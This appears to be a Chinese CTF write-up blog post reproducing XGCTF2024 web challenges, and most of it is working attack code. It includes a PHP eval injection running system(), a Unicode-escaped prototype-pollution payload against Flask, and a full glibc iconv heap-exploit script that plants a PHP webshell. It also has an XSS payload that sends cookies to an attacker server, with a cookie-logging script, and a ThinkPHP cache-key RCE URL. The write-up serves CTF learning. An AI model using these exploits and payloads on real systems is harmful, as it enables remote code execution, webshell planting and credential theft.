2980 字
15 分钟
XGCTF2024复现
2024-08-28

CodeInject#

<?php      
#Author: h1xa      
error_reporting(0);   
show_source(__FILE__);      
eval("var_dump((Object)$_POST[1]);");

);提前闭合

1=1);print(eval(system("tail /000f1ag.txt")));//

easy_polluted#

https://xz.aliyun.com/t/13072?time__1311=GqmhBKwKGNDKKYIeGKyxQqAKiteZimmD

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("flag.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

所以思路是:

  1. 污染app.secret_key的值,得到admin
  2. 修改admin路由的静态资源目录,实现访问根目录下的flag
  3. 修改jinja2模板语法,使flag得到渲染
  4. 用户名和密码要写进session,用Content-Type: application/x-www-form-urlencoded

filter函数进行了一个过滤:blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
可以通过unicode编码绕过
构造:

{
    __init__: {
        __globals__: {
            app: {
                secret_key: "123", 
                jinja_env: {
                    variable_start_string: "[#", 
                    variable_end_string: "#]"
                }
            }
        }
    }
}

编码后:

{
	"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": {
		"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F": {
			"\u0061\u0070\u0070": {
				"\u0073\u0065\u0063\u0072\u0065\u0074\u005F\u006B\u0065\u0079": "123",
				"jinja\u005F\u0065\u006E\u0076": {
					"variable\u005Fstart\u005F\u0073\u0074\u0072\u0069\u006E\u0067": "[#",
					"variable\u005Fend\u005F\u0073\u0074\u0072\u0069\u006E\u0067": "#]"
				}
			}
		}
	}
}

发包给/,得到MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED,说明污染操作成功
接下来会在/admin路由判断账号密码,在/下POST传参username=adminer&password=123
得到已写入账密的session,用该session访问admin得到
[[Media/43df8c27c1354ed26e9fd3a0615d4311_MD5.jpeg|Open: Pasted image 20240822120820.png]]
43df8c27c1354ed26e9fd3a0615d4311_MD5****

Ezzz_php#

<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
    public $start;
    public $filename="/etc/passwd";
    public function __construct($start){
        $this->start=$start;#构造函数
    }
    public function __destruct(){
        if($this->start == "gxngxngxn"){
        #这里判断start的内容,可以进行在反序列化时再将start的值修改为gxngxngxn
           echo 'What you are reading is:'.file_get_contents($this->filename);
        }
    }
}
if(isset($_GET['start'])){
    $readfile = new read_file($_GET['start']);#read_file中会判断start的值是否为gxngxngxn
    $read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
    if(preg_match("/\[|\]/i", $_GET['read'])){
        die("NONONO!!!");
    }
    $ctf = substrstr($read."[".serialize($readfile)."]");
    unserialize($ctf);#反序列化,触发
}else{
    echo "Start_Funny_CTF!!!";
}

可以实现任意文件读取,但flag文件名未知,考虑命令执行
https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

  • 字符串逃逸:

当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos(“\xf0\x9fAAA<BB”, ’<’); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节
(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr(“\xf0\x9fAAA<BB”, 0, 4); #“\xf0\x9fAAA<B” \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节
结论:mb_strpos相对于mb_substr来说,可以把索引值向后移

可以用这个特性将无关的字符进行截断丢弃

每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

http://bbee9809-2a66-426e-a787-9674d05273a8.challenge.ctf.show/?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/fff";}

这里给read传的值:

%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa

那么如何利用file_get_contents来进行rce呢?
从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)
(后面都是pwn
[exp](cnext-exploits/cnext-exploit.py at main · ambionics/cnext-exploits (github.com))

rce脚本#

这里url用http协议

import requests
import re
from ten import *
from pwn import *
from dataclasses import dataclass
from base64 import *
import zlib
from urllib.parse import quote

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

url = "http://aaffee41-3423-416b-ac99-c41b4060ae74.challenge.ctf.show/"
command: str = "echo '<?php eval($_POST[1]);?>'>/var/www/html/1.php;"
sleep: int = 1
PAD: int = 20
pad: int = 20
info = {}
heap = 0

@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start

# 获取 /proc/self/maps
def get_maps():
	data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:59:"php://filter/convert.base64-encode/resource=/proc/self/maps";}'

	r = requests.get(url+data).text
	# print(r)
	data = re.search("What you are reading is:(.*)", r).group(1)
	# print(txt)
	return b64decode(data)
# 获取 libc
def download_file(get_file , local_path):
	filename = "php://filter/convert.base64-encode/resource="+get_file
	data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[filename]";}'
	data = data.replace('[num]',str(len(filename)))
	data = data.replace('[filename]',filename)
	r = requests.get(url + data).text
	data = re.search("What you are reading is:(.*)", r).group(1)
	data = b64decode(data)
	open(local_path,'wb').write(data)
	# Path(local_path).write(data)


def get_regions():
	maps = get_maps()
	maps = maps.decode()
	PATTERN = re.compile(
		r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
	)
	regions = []
	for region in table.split(maps, strip=True):
		if match := PATTERN.match(region):
			start = int(match.group(1), 16)
			stop = int(match.group(2), 16)
			permissions = match.group(3)
			path = match.group(4)
			if "/" in path or "[" in path:
				path = path.rsplit(" ", 1)[-1]
			else:
				path = ""
			current = Region(start, stop, permissions, path)
			regions.append(current)
		else:
			print(maps)
			# failure("Unable to parse memory mappings")

	# self.log.info(f"Got {len(regions)} memory regions")

	return regions

# 通过 /proc/self/maps 得到 堆地址
def find_main_heap(regions: list[Region]) -> Region:
	# Any anonymous RW region with a size superior to the base heap size is a
	# candidate. The heap is at the bottom of the region.
	heaps = [
		region.stop - HEAP_SIZE + 0x40
		for region in reversed(regions)
		if region.permissions == "rw-p"
		and region.size >= HEAP_SIZE
		and region.stop & (HEAP_SIZE - 1) == 0
		and region.path == ""
	]

	if not heaps:
		failure("Unable to find PHP's main heap in memory")

	first = heaps[0]

	if len(heaps) > 1:
		heaps = ", ".join(map(hex, heaps))
		msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
	else:
		msg_info(f"Using [i]{hex(first)}[/] as heap")

	return first


def _get_region(regions: list[Region], *names: str) -> Region:
	"""Returns the first region whose name matches one of the given names."""
	for region in regions:
		if any(name in region.path for name in names):
			break
	else:
		failure("Unable to locate region")

	return region

# 下载 libc 文件
def get_symbols_and_addresses():
	regions = get_regions()
	LIBC_FILE = "/dev/shm/cnext-libc"

	# PHP's heap

	info["heap"] = heap or find_main_heap(regions)

	# Libc

	libc = _get_region(regions, "libc-", "libc.so")

	download_file(libc.path, LIBC_FILE)

	info["libc"] = ELF(LIBC_FILE, checksec=False)
	info["libc"].address = libc.start

def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    payload = b64encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload

def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

# 攻击 payload 的生成
def build_exploit_path() -> str:
	LIBC = info["libc"]
	ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
	ADDR_EFREE = LIBC.symbols["__libc_system"]
	ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

	ADDR_HEAP = info["heap"]
	ADDR_FREE_SLOT = ADDR_HEAP + 0x20
	ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

	ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

	CS = 0x100

	# Pad needs to stay at size 0x100 at every step
	pad_size = CS - 0x18
	pad = b"\x00" * pad_size
	pad = chunked_chunk(pad, len(pad) + 6)
	pad = chunked_chunk(pad, len(pad) + 6)
	pad = chunked_chunk(pad, len(pad) + 6)
	pad = compressed_bucket(pad)

	step1_size = 1
	step1 = b"\x00" * step1_size
	step1 = chunked_chunk(step1)
	step1 = chunked_chunk(step1)
	step1 = chunked_chunk(step1, CS)
	step1 = compressed_bucket(step1)

	# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
	# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

	step2_size = 0x48
	step2 = b"\x00" * (step2_size + 8)
	step2 = chunked_chunk(step2, CS)
	step2 = chunked_chunk(step2)
	step2 = compressed_bucket(step2)

	step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
	step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
	step2_write_ptr = chunked_chunk(step2_write_ptr)
	step2_write_ptr = compressed_bucket(step2_write_ptr)

	step3_size = CS

	step3 = b"\x00" * step3_size
	assert len(step3) == CS
	step3 = chunked_chunk(step3)
	step3 = chunked_chunk(step3)
	step3 = chunked_chunk(step3)
	step3 = compressed_bucket(step3)

	step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
	assert len(step3_overflow) == CS
	step3_overflow = chunked_chunk(step3_overflow)
	step3_overflow = chunked_chunk(step3_overflow)
	step3_overflow = chunked_chunk(step3_overflow)
	step3_overflow = compressed_bucket(step3_overflow)

	step4_size = CS
	step4 = b"=00" + b"\x00" * (step4_size - 1)
	step4 = chunked_chunk(step4)
	step4 = chunked_chunk(step4)
	step4 = chunked_chunk(step4)
	step4 = compressed_bucket(step4)

	# This chunk will eventually overwrite mm_heap->free_slot
	# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
	step4_pwn = ptr_bucket(
		0x200000,
		0,
		# free_slot
		0,
		0,
		ADDR_CUSTOM_HEAP,  # 0x18
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		ADDR_HEAP,  # 0x140
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		0,
		size=CS,
	)

	step4_custom_heap = ptr_bucket(
		ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
	)

	step4_use_custom_heap_size = 0x140

	COMMAND = command
	COMMAND = f"kill -9 $PPID; {COMMAND}"
	if sleep:
		COMMAND = f"sleep {sleep}; {COMMAND}"
	COMMAND = COMMAND.encode() + b"\x00"

	assert (
			len(COMMAND) <= step4_use_custom_heap_size
	), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
	COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

	step4_use_custom_heap = COMMAND
	step4_use_custom_heap = qpe(step4_use_custom_heap)
	step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
	step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
	step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
	step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

	pages = (
			step4 * 3
			+ step4_pwn
			+ step4_custom_heap
			+ step4_use_custom_heap
			+ step3_overflow
			+ pad * PAD
			+ step1 * 3
			+ step2_write_ptr
			+ step2 * 2
	)

	resource = compress(compress(pages))
	resource = b64(resource)
	resource = f"data:text/plain;base64,{resource.decode()}"

	filters = [
		# Create buckets
		"zlib.inflate",
		"zlib.inflate",

		# Step 0: Setup heap
		"dechunk",
		"convert.iconv.latin1.latin1",

		# Step 1: Reverse FL order
		"dechunk",
		"convert.iconv.latin1.latin1",

		# Step 2: Put fake pointer and make FL order back to normal
		"dechunk",
		"convert.iconv.latin1.latin1",

		# Step 3: Trigger overflow
		"dechunk",
		"convert.iconv.UTF-8.ISO-2022-CN-EXT",

		# Step 4: Allocate at arbitrary address and change zend_mm_heap
		"convert.quoted-printable-decode",
		"convert.iconv.latin1.latin1",
	]
	filters = "|".join(filters)
	path = f"php://filter/read={filters}/resource={resource}"
	# print(path)
	return path

# 开始攻击。攻击返回404是成功的标志,因为 command 最前面把进程 kill 掉了
# COMMAND = f"kill -9 $PPID; {COMMAND}"
def exploit() -> None:
	path = build_exploit_path()
	start = time.time()

	try:
		data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[data]";}'
        
		data = data.replace('[num]', str(len(path)))
		data = data.replace('[data]', quote(path))
		# print(data)
		r = requests.get(url + data).text
		# print("r: ",r)
		data = re.search("What you are reading is:(.*)", r).group(1)
		print('-----end-----')
		# print("data; ",data)
		data = b64decode(data)
		print(data)
	except:
		print("Error")

	msg_print()

	if not sleep:
		msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
	elif start + sleep <= time.time():
		msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
	else:
		# Wrong heap, maybe? If the exploited suggested others, use them!
		msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

	msg_print()


get_symbols_and_addresses()
print(info)
exploit()

NewerFileDetector#

app.py的路由:

  • /login:登录界面,对用户密码判断,并以json形式vip.json储存
  • /upload:上传文件,并用了identify_bytes判断文件的类型,之后写入文件
  • /clear:清除session
  • /check:用来判断用户是否是vip
  • /visit:机器人会点进这个链接,flag会在这个bot的cookie里,然后访问上传的文件,我们在这个文件中进行xss攻击

思路就是用upload路由上传文件覆盖掉vip.json
同时绕过magika,于是需要我们对magika进行一个代码审计
Magika-Github


查找identify_bytes函数,跟进_get_result_from_bytes

    def _get_result_from_bytes(self, content: bytes) -> StatusOr[MagikaResult]:
        result, features = self._get_result_or_features_from_bytes(content)
        if result is not None:
            return result
        assert features is not None
        return self._get_result_from_features(features)

进入_get_result_or_features_from_bytes方法

       elif len(content) <= self._model_config.min_file_size_for_dl:
            result = self._get_result_from_few_bytes(content)
            return result, None

当内容长度小于self._model_config.min_file_size_for_dl时,会执行_get_result_from_few_bytes

[[Media/680173097f5fef482a70f4ea33c6f204_MD5.jpeg|Open: Pasted image 20240828163749.png]]
680173097f5fef482a70f4ea33c6f204_MD5
发现_get_ct_label_from_few_bytes函数会直接返回文件类型为txt

self._model_config.min_file_size_for_dl这个值指的是这个模型配置中设定的最小文件大小阈值,用来决定是否需要下一步的具体分析
全局搜索得知该值默认配置为16
[[Media/c9717cdaac912af00574f5110d9c7fa9_MD5.jpeg|Open: Pasted image 20240828165015.png]]
c9717cdaac912af00574f5110d9c7fa9_MD5
所以只需上传的内容大小小于16即可绕过
VIP判断是由/check路由下的isSVIP = ast.literal_eval(json.loads(content)["isSVIP"])决定
上传{"isVIp":"1"}即可


接下来在vps
document.location.hrefmagika会检测到
用body传参不会被匹配

<body onload=document.location.href=\'http://IP/XSS.php?1=\'+document.cookie>

可以写个php脚本把cookie写进txt

<?php
$content = $_GET[1];
if(isset($content)){
    file_put_contents('XGCTF.txt',$content);
}
  • 官方的wp中提到了用fetch进行GET请求得到flag
<script>fetch("http://vps/?flag="+document.cookie)</script>

exp

import requests
import magika

mg = magika.Magika()
url = "http://pwn.challenge.ctf.show:28293/"
D_extns = ["json",'py','sh', "html"]

#覆盖/app/check/vip.json,变成bot眼里的SVIP
vip_json_content = "{\"isSVIP\":\"1\"}"
assert mg.identify_bytes(vip_json_content.encode()).output.ct_label not in D_extns
print(len(vip_json_content))
r = requests.post(url+"upload",data={"content":vip_json_content,"name":"/app/check/vip.json"})
print(r.text)

r = requests.get(url+"check")
print(r.text)

# 写XSS
exp_content='<script>fetch("http://vps/?flag="+document.cookie)</script>'
assert mg.identify_bytes(exp_content.encode()).output.ct_label not in D_extns
r = requests.post(url+"upload",data={"content":exp_content,"name":"/app/public/test.html"})
print(r.text)

#触发。
requests.get(url+"visit?link=test.html")

这里的脚本首先用magika判断了文件的内容是否被匹配,之后访问visit路由让bot访问,达成XSS

[[Media/9e26d6a9357a846bb9a3a2f3b3a44209_MD5.jpeg|Open: Pasted image 20240828175100.png]]
9e26d6a9357a846bb9a3a2f3b3a44209_MD5
这里我手动按照exp的参数传递,无法修改vip.json(好怪好怪好怪好怪)
(ฅ>ω<*ฅ) 噫又好啦 ~ctfshow_XGCTF_西瓜杯 | 晨曦的个人小站 (chenxi9981.github.io)

手动上传的参数改为name=../../../../app/check/vip.json&content={"isSVIP":"1"}即可完成覆盖
之后操作一样

tpdoor#

乱输报错得到thinkphp的版本8.0.3
下载审计 https://codeload.github.com/top-think/framework/zip/refs/tags/v8.0.3

<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
    protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
    public function index($isCache = false , $cacheTime = 3600)
    {
        
        if($isCache == true){
            $config = require  __DIR__.'/../../config/route.php';
            $config['request_cache_key'] = $isCache;
            $config['request_cache_expire'] = intval($cacheTime);
            $config['request_cache_except'] = [];
            file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
            return 'cache is enabled';
        }else{
            return 'Welcome ,cache is disabled';
        }
    }
}

$config['request_cache_key'] = $isCache; 该值是可控的
全局搜索request_cache_key
得到CheckRequestCache.php
发现
[[Media/6cb547451eb7aea9d8669e5e3a96c955_MD5.jpeg|Open: Pasted image 20240828203557.png]]6cb547451eb7aea9d8669e5e3a96c955_MD5
这里可能存在命令执行,追踪$fun函数
[[Media/8cda634f6d62b669558fec0f443e0063_MD5.jpeg|Open: Pasted image 20240828203718.png]]
8cda634f6d62b669558fec0f443e0063_MD5
其中当$key不为true时,会检测$key中是否有|,并以|为界限将key分为两部分,前半部分给$key,后半部分给$fun
继续向上看,找到$key的值的来源
[[Media/3b81a417c7e2749e65640c8dbc340bd0_MD5.jpeg|Open: Pasted image 20240828205840.png]]
3b81a417c7e2749e65640c8dbc340bd0_MD5
而在特殊规则替换中的自动缓存功能会进一步对keyfun赋值,最后达到rce的目的

request_cache_key的值是由isCache决定的
最终

http://70efd59e-c363-44e3-9d90-cc3bc0da872e.challenge.ctf.show/index.php/index?isCache=cat%20/f*|system

[[Media/b08cc1e913710accc79d23c3b12e7137_MD5.jpeg|Open: Pasted image 20240828210222.png]]
b08cc1e913710accc79d23c3b12e7137_MD5

SendMessage#

之后补充 ()
linux共享内存跨进程通讯+TP8反序列化

Msic(进行中)#

XGCTF2024复现
http://orxiain.life/posts/xgctf2024复现/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-08-28
许可协议
CC BY-NC-SA 4.0